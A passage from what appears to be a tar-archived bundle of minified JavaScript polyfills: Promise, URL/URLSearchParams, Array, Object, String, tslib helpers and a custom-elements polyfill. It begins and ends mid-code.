0,s=void 0,c=void 0,l=void 0;if(o){try{i=e(n)}catch(t){q.error=t,i=q}if(i===q?(l=!0,s=i.error,i.error=null):c=!0,r===i)return void f(r,new TypeError("Cannot return same promise"))}else i=n,c=!0;r._state===P&&(o&&c?u(r,i):l?f(r,s):t===x?a(r,i):t===F&&f(r,i))}function _(t){t[O]=U++,t._state=void 0,t._result=void 0,t._subscribers=[]}var p,d=Array.isArray?Array.isArray:function(t){return"[object Array]"===Object.prototype.toString.call(t)},y=0,w=void 0,m=void 0,g=function(t,e){C[y]=t,C[y+1]=e,2===(y+=2)&&(m?m(r):T())},b=(p="undefined"!=typeof window?window:void 0)||{},A=b.MutationObserver||b.WebKitMutationObserver;b="undefined"==typeof self;var E,S,M,j="undefined"!=typeof Uint8ClampedArray&&"undefined"!=typeof importScripts&&"undefined"!=typeof MessageChannel,C=Array(1e3),T=void 0;T=A?(E=0,S=new A(r),M=document.createTextNode(""),S.observe(M,{characterData:!0}),function(){M.data=E=++E%2}):j?function(){var t=new MessageChannel;return t.port1.onmessage=r,function(){return t.port2.postMessage(0)}}():void 0===p&&"function"==typeof require?function(){try{var e=Function("return this")().require("vertx");return void 0!==(w=e.runOnLoop||e.runOnContext)?function(){w(r)}:t()}catch(r){return t()}}():t();var O=Math.random().toString(36).substring(2),P=void 0,x=1,F=2,q={error:null},U=0,D=function(){function t(t,r){this._instanceConstructor=t,this.promise=new t(o),this.promise[O]||_(this.promise),d(r)?(this._remaining=this.length=r.length,this._result=Array(this.length),0===this.length?a(this.promise,this._result):(this.length=this.length||0,this._enumerate(r),0===this._remaining&&a(this.promise,this._result))):f(this.promise,Error("Array Methods must be provided an Array"))}return t.prototype._enumerate=function(t){for(var r=0;this._state===P&&r<t.length;r++)this._eachEntry(t[r],r)},t.prototype._eachEntry=function(t,r){var u=this._instanceConstructor,c=u.resolve;c===n?(c=i(t))===e&&t._state!==P?this._settledAt(t._state,r,t._result):"function"!=typeof c?(this._remaining--,this._result[r]=t):u===K?(s(u=new u(o),t,c),this._willSettleAt(u,r)):this._willSettleAt(new u(function(r){return r(t)}),r):this._willSettleAt(c(t),r)},t.prototype._settledAt=function(t,r,e){var n=this.promise;n._state===P&&(this._remaining--,t===F?f(n,e):this._result[r]=e),0===this._remaining&&a(n,this._result)},t.prototype._willSettleAt=function(t,r){var e=this;l(t,void 0,function(t){return e._settledAt(x,r,t)},function(t){return e._settledAt(F,r,t)})},t}(),K=function(){function t(r){if(this[O]=U++,this._result=this._state=void 0,this._subscribers=[],o!==r){if("function"!=typeof r)throw new TypeError("Must pass a resolver fn as 1st arg");if(!(this instanceof t))throw new TypeError("Failed to construct 'Promise': Use the 'new' operator.");!function(t,r){try{r(function(r){u(t,r)},function(r){f(t,r)})}catch(r){f(t,r)}}(this,r)}}return t.prototype.catch=function(t){return this.then(null,t)},t.prototype.finally=function(t){var r=this.constructor;return this.then(function(e){return r.resolve(t()).then(function(){return e})},function(e){return r.resolve(t()).then(function(){throw e})})},t}();return K.prototype.then=e,K.all=function(t){return new D(this,t).promise},K.race=function(t){var r=this;return d(t)?new r(function(e,n){for(var o=t.length,i=0;i<o;i++)r.resolve(t[i]).then(e,n)}):new r(function(t,r){return r(new TypeError("Must pass array to race"))})},K.resolve=n,K.reject=function(t){var r=new this(o);return f(r,t),r},K._setScheduler=function(t){m=t},K._setAsap=function(t){g=t},K._asap=g,K.polyfill=function(){var t=void 0;if("undefined"!=typeof global)t=global;else if("undefined"!=typeof self)t=self;else try{t=Function("return this")()}catch(t){throw Error("polyfill failed")}var r=t.Promise;if(r){var e=null;try{e=Object.prototype.toString.call(r.resolve())}catch(t){}if("[object Promise]"===e&&!r.cast)return}t.Promise=K},K.Promise=K,K.polyfill(),K}());}esm/es5/polyfills/url.js000064400000010567151701353760011222 0ustar00export function applyPolyfill(window, document) {/*!
url-polyfill, 1.0.14
https://github.com/lifaon74/url-polyfill
MIT Licensed
*/
(function(e){var t=function(){try{return!!Symbol.iterator}catch(e){return false}};var n=t();var r=function(e){var t={next:function(){var t=e.shift();return{done:t===void 0,value:t}}};if(n){t[Symbol.iterator]=function(){return t}}return t};var i=function(e){return encodeURIComponent(e).replace(/%20/g,"+")};var o=function(e){return decodeURIComponent(e).replace(/\+/g," ")};var a=function(){var t=function(e){Object.defineProperty(this,"_entries",{value:{}});if(typeof e==="string"){if(e!==""){e=e.replace(/^\?/,"");var n=e.split("&");var r;for(var i=0;i<n.length;i++){r=n[i].split("=");this.append(o(r[0]),r.length>1?o(r[1]):"")}}}else if(e instanceof t){var a=this;e.forEach(function(e,t){a.append(e,t)})}};var a=t.prototype;a.append=function(e,t){if(e in this._entries){this._entries[e].push(t.toString())}else{this._entries[e]=[t.toString()]}};a.delete=function(e){delete this._entries[e]};a.get=function(e){return e in this._entries?this._entries[e][0]:null};a.getAll=function(e){return e in this._entries?this._entries[e].slice(0):[]};a.has=function(e){return e in this._entries};a.set=function(e,t){this._entries[e]=[t.toString()]};a.forEach=function(e,t){var n;for(var r in this._entries){if(this._entries.hasOwnProperty(r)){n=this._entries[r];for(var i=0;i<n.length;i++){e.call(t,n[i],r,this)}}}};a.keys=function(){var e=[];this.forEach(function(t,n){e.push(n)});return r(e)};a.values=function(){var e=[];this.forEach(function(t){e.push(t)});return r(e)};a.entries=function(){var e=[];this.forEach(function(t,n){e.push([n,t])});return r(e)};if(n){a[Symbol.iterator]=a.entries}a.toString=function(){var e=[];this.forEach(function(t,n){e.push(i(n)+"="+i(t))});return e.join("&")};e.URLSearchParams=t};if(!("URLSearchParams"in e)||new URLSearchParams("?a=1").toString()!=="a=1"){a()}})(typeof global!=="undefined"?global:typeof window!=="undefined"?window:typeof self!=="undefined"?self:this);(function(e){var t=function(){try{var e=new URL("b","http://a");e.pathname="c%20d";return e.href==="http://a/c%20d"&&e.searchParams}catch(e){return false}};var n=function(){var t=e.URL;var n=function(e,t){if(typeof e!=="string")e=String(e);var n=document.implementation.createHTMLDocument("");window.doc=n;if(t){var r=n.createElement("base");r.href=t;n.head.appendChild(r)}var i=n.createElement("a");i.href=e;n.body.appendChild(i);i.href=i.href;if(i.protocol===":"||!/:/.test(i.href)){throw new TypeError("Invalid URL")}Object.defineProperty(this,"_anchorElement",{value:i})};var r=n.prototype;var i=function(e){Object.defineProperty(r,e,{get:function(){return this._anchorElement[e]},set:function(t){this._anchorElement[e]=t},enumerable:true})};["hash","host","hostname","port","protocol","search"].forEach(function(e){i(e)});Object.defineProperties(r,{toString:{get:function(){var e=this;return function(){return e.href}}},href:{get:function(){return this._anchorElement.href.replace(/\?$/,"")},set:function(e){this._anchorElement.href=e},enumerable:true},pathname:{get:function(){return this._anchorElement.pathname.replace(/(^\/?)/,"/")},set:function(e){this._anchorElement.pathname=e},enumerable:true},origin:{get:function(){var e={"http:":80,"https:":443,"ftp:":21}[this._anchorElement.protocol];var t=this._anchorElement.port!=e&&this._anchorElement.port!=="";return this._anchorElement.protocol+"//"+this._anchorElement.hostname+(t?":"+this._anchorElement.port:"")},enumerable:true},password:{get:function(){return""},set:function(e){},enumerable:true},username:{get:function(){return""},set:function(e){},enumerable:true},searchParams:{get:function(){var e=new URLSearchParams(this.search);var t=this;["append","delete","set"].forEach(function(n){var r=e[n];e[n]=function(){r.apply(e,arguments);t.search=e.toString()}});return e},enumerable:true}});n.createObjectURL=function(e){return t.createObjectURL.apply(t,arguments)};n.revokeObjectURL=function(e){return t.revokeObjectURL.apply(t,arguments)};e.URL=n};if(!t()){n()}if(e.location!==void 0&&!("origin"in e.location)){var r=function(){return e.location.protocol+"//"+e.location.hostname+(e.location.port?":"+e.location.port:"")};try{Object.defineProperty(e.location,"origin",{get:r,enumerable:true})}catch(t){setInterval(function(){e.location.origin=r()},100)}}})(typeof global!=="undefined"?global:typeof window!=="undefined"?window:typeof self!=="undefined"?self:this);
}esm/es5/polyfills/array.js000064400000003223151701353760011525 0ustar00export function applyPolyfill(window, document) {/*!
Array.prototype.find
*/
Array.prototype.find||Object.defineProperty(Array.prototype,"find",{writable:!0,configurable:!0,value:function(c,e){if(null==this)throw new TypeError('"this" is null or not defined');var b=Object(this),f=b.length>>>0;if("function"!==typeof c)throw new TypeError("predicate must be a function");for(var a=0;a<f;){var d=b[a];if(c.call(e,d,a,b))return d;a++}}});
/*!
Array.from
*/
Array.from||(Array.from=function(){var l=Object.prototype.toString,h=function(c){return"function"===typeof c||"[object Function]"===l.call(c)},m=Math.pow(2,53)-1;return function(c){var k=Object(c);if(null==c)throw new TypeError("Array.from requires an array-like object - not null or undefined");var d=1<arguments.length?arguments[1]:void 0,f;if("undefined"!==typeof d){if(!h(d))throw new TypeError("Array.from: when provided, the second argument must be a function");2<arguments.length&&(f=arguments[2])}var a=
Number(k.length);a=isNaN(a)?0:0!==a&&isFinite(a)?(0<a?1:-1)*Math.floor(Math.abs(a)):a;a=Math.min(Math.max(a,0),m);for(var g=h(this)?Object(new this(a)):Array(a),b=0,e;b<a;)e=k[b],g[b]=d?"undefined"===typeof f?d(e,b):d.call(f,e,b):e,b+=1;g.length=a;return g}}());
/*!
Array.prototype.includes
*/
Array.prototype.includes||Object.defineProperty(Array.prototype,"includes",{writable:!0,configurable:!0,value:function(r,e){if(null==this)throw new TypeError('"this" is null or not defined');var t=Object(this),n=t.length>>>0;if(0===n)return!1;var i,o,a=0|e,u=Math.max(0<=a?a:n-Math.abs(a),0);for(;u<n;){if((i=t[u])===(o=r)||"number"==typeof i&&"number"==typeof o&&isNaN(i)&&isNaN(o))return!0;u++}return!1}});}esm/es5/polyfills/tslib.js000064400000015445151701353760011535 0ustar00// REV: 9dd9aa322c893e5e0b3f1609b1126314ccf37bbb

/*! *****************************************************************************
Copyright (c) Microsoft Corporation. All rights reserved.
Licensed under the Apache License, Version 2.0 (the "License"); you may not use
this file except in compliance with the License. You may obtain a copy of the
License at http://www.apache.org/licenses/LICENSE-2.0
THIS CODE IS PROVIDED ON AN *AS IS* BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
KIND, EITHER EXPRESS OR IMPLIED, INCLUDING WITHOUT LIMITATION ANY IMPLIED
WARRANTIES OR CONDITIONS OF TITLE, FITNESS FOR A PARTICULAR PURPOSE,
MERCHANTABLITY OR NON-INFRINGEMENT.
See the Apache Version 2.0 License for specific language governing permissions
and limitations under the License.
***************************************************************************** */
/* global Reflect, Promise */

var extendStatics = function(d, b) {
  extendStatics = Object.setPrototypeOf ||
      ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||
      function (d, b) { for (var p in b) if (b.hasOwnProperty(p)) d[p] = b[p]; };
  return extendStatics(d, b);
};

export function __extends(d, b) {
  extendStatics(d, b);
  function __() { this.constructor = d; }
  d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());
}

export var __assign = function() {
  __assign = Object.assign || function __assign(t) {
      for (var s, i = 1, n = arguments.length; i < n; i++) {
          s = arguments[i];
          for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p)) t[p] = s[p];
      }
      return t;
  }
  return __assign.apply(this, arguments);
}

export function __rest(s, e) {
  var t = {};
  for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p) && e.indexOf(p) < 0)
      t[p] = s[p];
  if (s != null && typeof Object.getOwnPropertySymbols === "function")
      for (var i = 0, p = Object.getOwnPropertySymbols(s); i < p.length; i++) if (e.indexOf(p[i]) < 0)
          t[p[i]] = s[p[i]];
  return t;
}

export function __decorate(decorators, target, key, desc) {
  var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d;
  if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc);
  else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r;
  return c > 3 && r && Object.defineProperty(target, key, r), r;
}

export function __param(paramIndex, decorator) {
  return function (target, key) { decorator(target, key, paramIndex); }
}

export function __metadata(metadataKey, metadataValue) {
  if (typeof Reflect === "object" && typeof Reflect.metadata === "function") return Reflect.metadata(metadataKey, metadataValue);
}

export function __awaiter(thisArg, _arguments, P, generator) {
  return new (P || (P = Promise))(function (resolve, reject) {
      function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
      function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
      function step(result) { result.done ? resolve(result.value) : new P(function (resolve) { resolve(result.value); }).then(fulfilled, rejected); }
      step((generator = generator.apply(thisArg, _arguments || [])).next());
  });
}

export function __generator(thisArg, body) {
  var _ = { label: 0, sent: function() { if (t[0] & 1) throw t[1]; return t[1]; }, trys: [], ops: [] }, f, y, t, g;
  return g = { next: verb(0), "throw": verb(1), "return": verb(2) }, typeof Symbol === "function" && (g[Symbol.iterator] = function() { return this; }), g;
  function verb(n) { return function (v) { return step([n, v]); }; }
  function step(op) {
      if (f) throw new TypeError("Generator is already executing.");
      while (_) try {
          if (f = 1, y && (t = op[0] & 2 ? y["return"] : op[0] ? y["throw"] || ((t = y["return"]) && t.call(y), 0) : y.next) && !(t = t.call(y, op[1])).done) return t;
          if (y = 0, t) op = [op[0] & 2, t.value];
          switch (op[0]) {
              case 0: case 1: t = op; break;
              case 4: _.label++; return { value: op[1], done: false };
              case 5: _.label++; y = op[1]; op = [0]; continue;
              case 7: op = _.ops.pop(); _.trys.pop(); continue;
              default:
                  if (!(t = _.trys, t = t.length > 0 && t[t.length - 1]) && (op[0] === 6 || op[0] === 2)) { _ = 0; continue; }
                  if (op[0] === 3 && (!t || (op[1] > t[0] && op[1] < t[3]))) { _.label = op[1]; break; }
                  if (op[0] === 6 && _.label < t[1]) { _.label = t[1]; t = op; break; }
                  if (t && _.label < t[2]) { _.label = t[2]; _.ops.push(op); break; }
                  if (t[2]) _.ops.pop();
                  _.trys.pop(); continue;
          }
          op = body.call(thisArg, _);
      } catch (e) { op = [6, e]; y = 0; } finally { f = t = 0; }
      if (op[0] & 5) throw op[1]; return { value: op[0] ? op[1] : void 0, done: true };
  }
}

export function __exportStar(m, exports) {
  for (var p in m) if (!exports.hasOwnProperty(p)) exports[p] = m[p];
}

export function __values(o) {
  var m = typeof Symbol === "function" && o[Symbol.iterator], i = 0;
  if (m) return m.call(o);
  return {
      next: function () {
          if (o && i >= o.length) o = void 0;
          return { value: o && o[i++], done: !o };
      }
  };
}

export function __read(o, n) {
  var m = typeof Symbol === "function" && o[Symbol.iterator];
  if (!m) return o;
  var i = m.call(o), r, ar = [], e;
  try {
      while ((n === void 0 || n-- > 0) && !(r = i.next()).done) ar.push(r.value);
  }
  catch (error) { e = { error: error }; }
  finally {
      try {
          if (r && !r.done && (m = i["return"])) m.call(i);
      }
      finally { if (e) throw e.error; }
  }
  return ar;
}

export function __spread() {
  for (var ar = [], i = 0; i < arguments.length; i++)
      ar = ar.concat(__read(arguments[i]));
  return ar;
}

export function __await(v) {
  return this instanceof __await ? (this.v = v, this) : new __await(v);
}

export function __makeTemplateObject(cooked, raw) {
  if (Object.defineProperty) { Object.defineProperty(cooked, "raw", { value: raw }); } else { cooked.raw = raw; }
  return cooked;
};

export function __importStar(mod) {
  if (mod && mod.__esModule) return mod;
  var result = {};
  if (mod != null) for (var k in mod) if (Object.hasOwnProperty.call(mod, k)) result[k] = mod[k];
  result.default = mod;
  return result;
}

export function __importDefault(mod) {
  return (mod && mod.__esModule) ? mod : { default: mod };
}esm/es5/polyfills/object.js000064400000001306151701353760011655 0ustar00export function applyPolyfill(window, document) {/*!
Object.assign
*/
"function"!=typeof Object.assign&&Object.defineProperty(Object,"assign",{value:function(d,f){if(null==d)throw new TypeError("Cannot convert undefined or null to object");for(var e=Object(d),b=1;b<arguments.length;b++){var a=arguments[b];if(null!=a)for(var c in a)Object.prototype.hasOwnProperty.call(a,c)&&(e[c]=a[c])}return e},writable:!0,configurable:!0});
/*!
Object.entries
*/
Object.entries||(Object.entries=function(c){for(var b=Object.keys(c),a=b.length,d=Array(a);a--;)d[a]=[b[a],c[b[a]]];return d});
/*!
Object.values
*/
Object.values||(Object.values=function(n){return Object.keys(n).map(function(r){return n[r]})});
}esm/es5/polyfills/string.js000064400000001304151701353760011713 0ustar00export function applyPolyfill(window, document) {/*!
String.prototype.endsWith
*/
String.prototype.endsWith||Object.defineProperty(String.prototype,"endsWith",{writable:!0,configurable:!0,value:function(b,a){if(void 0===a||a>this.length)a=this.length;return this.substring(a-b.length,a)===b}});
/*!
String.prototype.includes
*/
String.prototype.includes||(String.prototype.includes=function(b,a){"number"!==typeof a&&(a=0);return a+b.length>this.length?!1:-1!==this.indexOf(b,a)});
/*!
String.prototype.startsWith
*/
String.prototype.startsWith||Object.defineProperty(String.prototype,"startsWith",{writable:!0,configurable:!0,value:function(b,a){return this.substr(!a||0>a?0:+a,b.length)===b}});}esm/es5/polyfills/dom.js000064400000033336151701353760011176 0ustar00export function applyPolyfill(window, document) {/*! document-register-element, 1.7.0
https://github.com/WebReflection/document-register-element
(C) Andrea Giammarchi - @WebReflection - Mit Style License */
if (!window['s-ce1']) {
window['s-ce1'] = true;
(function(e,t){"use strict";function Ht(){var e=wt.splice(0,wt.length);Et=0;while(e.length)e.shift().call(null,e.shift())}function Bt(e,t){for(var n=0,r=e.length;n<r;n++)Jt(e[n],t)}function jt(e){for(var t=0,n=e.length,r;t<n;t++)r=e[t],Pt(r,A[It(r)])}function Ft(e){return function(t){ut(t)&&(Jt(t,e),O.length&&Bt(t.querySelectorAll(O),e))}}function It(e){var t=ht.call(e,"is"),n=e.nodeName.toUpperCase(),r=_.call(L,t?N+t.toUpperCase():T+n);return t&&-1<r&&!qt(n,t)?-1:r}function qt(e,t){return-1<O.indexOf(e+'[is="'+t+'"]')}function Rt(e){var t=e.currentTarget,n=e.attrChange,r=e.attrName,i=e.target,s=e[y]||2,o=e[w]||3;kt&&(!i||i===t)&&t[h]&&r!=="style"&&(e.prevValue!==e.newValue||e.newValue===""&&(n===s||n===o))&&t[h](r,n===s?null:e.prevValue,n===o?null:e.newValue)}function Ut(e){var t=Ft(e);return function(e){wt.push(t,e.target),Et&&clearTimeout(Et),Et=setTimeout(Ht,1)}}function zt(e){Ct&&(Ct=!1,e.currentTarget.removeEventListener(S,zt)),O.length&&Bt((e.target||n).querySelectorAll(O),e.detail===l?l:a),st&&Vt()}function Wt(e,t){var n=this;vt.call(n,e,t),Lt.call(n,{target:n})}function Xt(e,t){nt(e,t),Mt?Mt.observe(e,yt):(Nt&&(e.setAttribute=Wt,e[o]=Ot(e),e[u](x,Lt)),e[u](E,Rt)),e[m]&&kt&&(e.created=!0,e[m](),e.created=!1)}function Vt(){for(var e,t=0,n=at.length;t<n;t++)e=at[t],M.contains(e)||(n--,at.splice(t--,1),Jt(e,l))}function $t(e){throw new Error("A "+e+" type is already registered")}function Jt(e,t){var n,r=It(e),i;-1<r&&(Dt(e,A[r]),r=0,t===a&&!e[a]?(e[l]=!1,e[a]=!0,i="connected",r=1,st&&_.call(at,e)<0&&at.push(e)):t===l&&!e[l]&&(e[a]=!1,e[l]=!0,i="disconnected",r=1),r&&(n=e[t+f]||e[i+f])&&n.call(e))}function Kt(){}function Qt(e,t,r){var i=r&&r[c]||"",o=t.prototype,u=tt(o),a=t.observedAttributes||j,f={prototype:u};ot(u,m,{value:function(){if(Q)Q=!1;else if(!this[W]){this[W]=!0,new t(this),o[m]&&o[m].call(this);var e=G[Z.get(t)];(!V||e.create.length>1)&&Zt(this)}}}),ot(u,h,{value:function(e){-1<_.call(a,e)&&o[h].apply(this,arguments)}}),o[d]&&ot(u,p,{value:o[d]}),o[v]&&ot(u,g,{value:o[v]}),i&&(f[c]=i),e=e.toUpperCase(),G[e]={constructor:t,create:i?[i,et(e)]:[e]},Z.set(t,e),n[s](e.toLowerCase(),f),en(e),Y[e].r()}function Gt(e){var t=G[e.toUpperCase()];return t&&t.constructor}function Yt(e){return typeof e=="string"?e:e&&e.is||""}function Zt(e){var t=e[h],n=t?e.attributes:j,r=n.length,i;while(r--)i=n[r],t.call(e,i.name||i.nodeName,null,i.value||i.nodeValue)}function en(e){return e=e.toUpperCase(),e in Y||(Y[e]={},Y[e].p=new K(function(t){Y[e].r=t})),Y[e].p}function tn(){X&&delete e.customElements,B(e,"customElements",{configurable:!0,value:new Kt}),B(e,"CustomElementRegistry",{configurable:!0,value:Kt});for(var t=function(t){var r=e[t];if(r){e[t]=function(t){var i,s;return t||(t=this),t[W]||(Q=!0,i=G[Z.get(t.constructor)],s=V&&i.create.length===1,t=s?Reflect.construct(r,j,i.constructor):n.createElement.apply(n,i.create),t[W]=!0,Q=!1,s||Zt(t)),t},e[t].prototype=r.prototype;try{r.prototype.constructor=e[t]}catch(i){z=!0,B(r,W,{value:e[t]})}}},r=i.get(/^HTML[A-Z]*[a-z]/),o=r.length;o--;t(r[o]));n.createElement=function(e,t){var n=Yt(t);return n?gt.call(this,e,et(n)):gt.call(this,e)},St||(Tt=!0,n[s](""))}var n=e.document,r=e.Object,i=function(e){var t=/^[A-Z]+[a-z]/,n=function(e){var t=[],n;for(n in s)e.test(n)&&t.push(n);return t},i=function(e,t){t=t.toLowerCase(),t in s||(s[e]=(s[e]||[]).concat(t),s[t]=s[t.toUpperCase()]=e)},s=(r.create||r)(null),o={},u,a,f,l;for(a in e)for(l in e[a]){f=e[a][l],s[l]=f;for(u=0;u<f.length;u++)s[f[u].toLowerCase()]=s[f[u].toUpperCase()]=l}return o.get=function(r){return typeof r=="string"?s[r]||(t.test(r)?[]:""):n(r)},o.set=function(n,r){return t.test(n)?i(n,r):i(r,n),o},o}({collections:{HTMLAllCollection:["all"],HTMLCollection:["forms"],HTMLFormControlsCollection:["elements"],HTMLOptionsCollection:["options"]},elements:{Element:["element"],HTMLAnchorElement:["a"],HTMLAppletElement:["applet"],HTMLAreaElement:["area"],HTMLAttachmentElement:["attachment"],HTMLAudioElement:["audio"],HTMLBRElement:["br"],HTMLBaseElement:["base"],HTMLBodyElement:["body"],HTMLButtonElement:["button"],HTMLCanvasElement:["canvas"],HTMLContentElement:["content"],HTMLDListElement:["dl"],HTMLDataElement:["data"],HTMLDataListElement:["datalist"],HTMLDetailsElement:["details"],HTMLDialogElement:["dialog"],HTMLDirectoryElement:["dir"],HTMLDivElement:["div"],HTMLDocument:["document"],HTMLElement:["element","abbr","address","article","aside","b","bdi","bdo","cite","code","command","dd","dfn","dt","em","figcaption","figure","footer","header","i","kbd","mark","nav","noscript","rp","rt","ruby","s","samp","section","small","strong","sub","summary","sup","u","var","wbr"],HTMLEmbedElement:["embed"],HTMLFieldSetElement:["fieldset"],HTMLFontElement:["font"],HTMLFormElement:["form"],HTMLFrameElement:["frame"],HTMLFrameSetElement:["frameset"],HTMLHRElement:["hr"],HTMLHeadElement:["head"],HTMLHeadingElement:["h1","h2","h3","h4","h5","h6"],HTMLHtmlElement:["html"],HTMLIFrameElement:["iframe"],HTMLImageElement:["img"],HTMLInputElement:["input"],HTMLKeygenElement:["keygen"],HTMLLIElement:["li"],HTMLLabelElement:["label"],HTMLLegendElement:["legend"],HTMLLinkElement:["link"],HTMLMapElement:["map"],HTMLMarqueeElement:["marquee"],HTMLMediaElement:["media"],HTMLMenuElement:["menu"],HTMLMenuItemElement:["menuitem"],HTMLMetaElement:["meta"],HTMLMeterElement:["meter"],HTMLModElement:["del","ins"],HTMLOListElement:["ol"],HTMLObjectElement:["object"],HTMLOptGroupElement:["optgroup"],HTMLOptionElement:["option"],HTMLOutputElement:["output"],HTMLParagraphElement:["p"],HTMLParamElement:["param"],HTMLPictureElement:["picture"],HTMLPreElement:["pre"],HTMLProgressElement:["progress"],HTMLQuoteElement:["blockquote","q","quote"],HTMLScriptElement:["script"],HTMLSelectElement:["select"],HTMLShadowElement:["shadow"],HTMLSlotElement:["slot"],HTMLSourceElement:["source"],HTMLSpanElement:["span"],HTMLStyleElement:["style"],HTMLTableCaptionElement:["caption"],HTMLTableCellElement:["td","th"],HTMLTableColElement:["col","colgroup"],HTMLTableElement:["table"],HTMLTableRowElement:["tr"],HTMLTableSectionElement:["thead","tbody","tfoot"],HTMLTemplateElement:["template"],HTMLTextAreaElement:["textarea"],HTMLTimeElement:["time"],HTMLTitleElement:["title"],HTMLTrackElement:["track"],HTMLUListElement:["ul"],HTMLUnknownElement:["unknown","vhgroupv","vkeygen"],HTMLVideoElement:["video"]},nodes:{Attr:["node"],Audio:["audio"],CDATASection:["node"],CharacterData:["node"],Comment:["#comment"],Document:["#document"],DocumentFragment:["#document-fragment"],DocumentType:["node"],HTMLDocument:["#document"],Image:["img"],Option:["option"],ProcessingInstruction:["node"],ShadowRoot:["#shadow-root"],Text:["#text"],XMLDocument:["xml"]}});typeof t!="object"&&(t={type:t||"auto"});var s="registerElement",o="__"+s+(e.Math.random()*1e5>>0),u="addEventListener",a="attached",f="Callback",l="detached",c="extends",h="attributeChanged"+f,p=a+f,d="connected"+f,v="disconnected"+f,m="created"+f,g=l+f,y="ADDITION",b="MODIFICATION",w="REMOVAL",E="DOMAttrModified",S="DOMContentLoaded",x="DOMSubtreeModified",T="<",N="=",C=/^[A-Z][A-Z0-9]*(?:-[A-Z0-9]+)+$/,k=["ANNOTATION-XML","COLOR-PROFILE","FONT-FACE","FONT-FACE-SRC","FONT-FACE-URI","FONT-FACE-FORMAT","FONT-FACE-NAME","MISSING-GLYPH"],L=[],A=[],O="",M=n.documentElement,_=L.indexOf||function(e){for(var t=this.length;t--&&this[t]!==e;);return t},D=r.prototype,P=D.hasOwnProperty,H=D.isPrototypeOf,B=r.defineProperty,j=[],F=r.getOwnPropertyDescriptor,I=r.getOwnPropertyNames,q=r.getPrototypeOf,R=r.setPrototypeOf,U=!!r.__proto__,z=!1,W="__dreCEv1",X=e.customElements,V=!/^force/.test(t.type)&&!!(X&&X.define&&X.get&&X.whenDefined),$=r.create||r,J=e.Map||function(){var t=[],n=[],r;return{get:function(e){return n[_.call(t,e)]},set:function(e,i){r=_.call(t,e),r<0?n[t.push(e)-1]=i:n[r]=i}}},K=e.Promise||function(e){function i(e){n=!0;while(t.length)t.shift()(e)}var t=[],n=!1,r={"catch":function(){return r},then:function(e){return t.push(e),n&&setTimeout(i,1),r}};return e(i),r},Q=!1,G=$(null),Y=$(null),Z=new J,et=function(e){return e.toLowerCase()},tt=r.create||function sn(e){return e?(sn.prototype=e,new sn):this},nt=R||(U?function(e,t){return e.__proto__=t,e}:I&&F?function(){function e(e,t){for(var n,r=I(t),i=0,s=r.length;i<s;i++)n=r[i],P.call(e,n)||B(e,n,F(t,n))}return function(t,n){do e(t,n);while((n=q(n))&&!H.call(n,t));return t}}():function(e,t){for(var n in t)e[n]=t[n];return e}),rt=e.MutationObserver||e.WebKitMutationObserver,it=(e.HTMLElement||e.Element||e.Node).prototype,st=!H.call(it,M),ot=st?function(e,t,n){return e[t]=n.value,e}:B,ut=st?function(e){return e.nodeType===1}:function(e){return H.call(it,e)},at=st&&[],ft=it.attachShadow,lt=it.cloneNode,ct=it.dispatchEvent,ht=it.getAttribute,pt=it.hasAttribute,dt=it.removeAttribute,vt=it.setAttribute,mt=n.createElement,gt=mt,yt=rt&&{attributes:!0,characterData:!0,attributeOldValue:!0},bt=rt||function(e){Nt=!1,M.removeEventListener(E,bt)},wt,Et=0,St=s in n&&!/^force-all/.test(t.type),xt=!0,Tt=!1,Nt=!0,Ct=!0,kt=!0,Lt,At,Ot,Mt,_t,Dt,Pt;St||(R||U?(Dt=function(e,t){H.call(t,e)||Xt(e,t)},Pt=Xt):(Dt=function(e,t){e[o]||(e[o]=r(!0),Xt(e,t))},Pt=Dt),st?(Nt=!1,function(){var e=F(it,u),t=e.value,n=function(e){var t=new CustomEvent(E,{bubbles:!0});t.attrName=e,t.prevValue=ht.call(this,e),t.newValue=null,t[w]=t.attrChange=2,dt.call(this,e),ct.call(this,t)},r=function(e,t){var n=pt.call(this,e),r=n&&ht.call(this,e),i=new CustomEvent(E,{bubbles:!0});vt.call(this,e,t),i.attrName=e,i.prevValue=n?r:null,i.newValue=t,n?i[b]=i.attrChange=1:i[y]=i.attrChange=0,ct.call(this,i)},i=function(e){var t=e.currentTarget,n=t[o],r=e.propertyName,i;n.hasOwnProperty(r)&&(n=n[r],i=new CustomEvent(E,{bubbles:!0}),i.attrName=n.name,i.prevValue=n.value||null,i.newValue=n.value=t[r]||null,i.prevValue==null?i[y]=i.attrChange=0:i[b]=i.attrChange=1,ct.call(t,i))};e.value=function(e,s,u){e===E&&this[h]&&this.setAttribute!==r&&(this[o]={className:{name:"class",value:this.className}},this.setAttribute=r,this.removeAttribute=n,t.call(this,"propertychange",i)),t.call(this,e,s,u)},B(it,u,e)}()):rt||(M[u](E,bt),M.setAttribute(o,1),M.removeAttribute(o),Nt&&(Lt=function(e){var t=this,n,r,i;if(t===e.target){n=t[o],t[o]=r=Ot(t);for(i in r){if(!(i in n))return At(0,t,i,n[i],r[i],y);if(r[i]!==n[i])return At(1,t,i,n[i],r[i],b)}for(i in n)if(!(i in r))return At(2,t,i,n[i],r[i],w)}},At=function(e,t,n,r,i,s){var o={attrChange:e,currentTarget:t,attrName:n,prevValue:r,newValue:i};o[s]=e,Rt(o)},Ot=function(e){for(var t,n,r={},i=e.attributes,s=0,o=i.length;s<o;s++)t=i[s],n=t.name,n!=="setAttribute"&&(r[n]=t.value);return r})),n[s]=function(t,r){p=t.toUpperCase(),xt&&(xt=!1,rt?(Mt=function(e,t){function n(e,t){for(var n=0,r=e.length;n<r;t(e[n++]));}return new rt(function(r){for(var 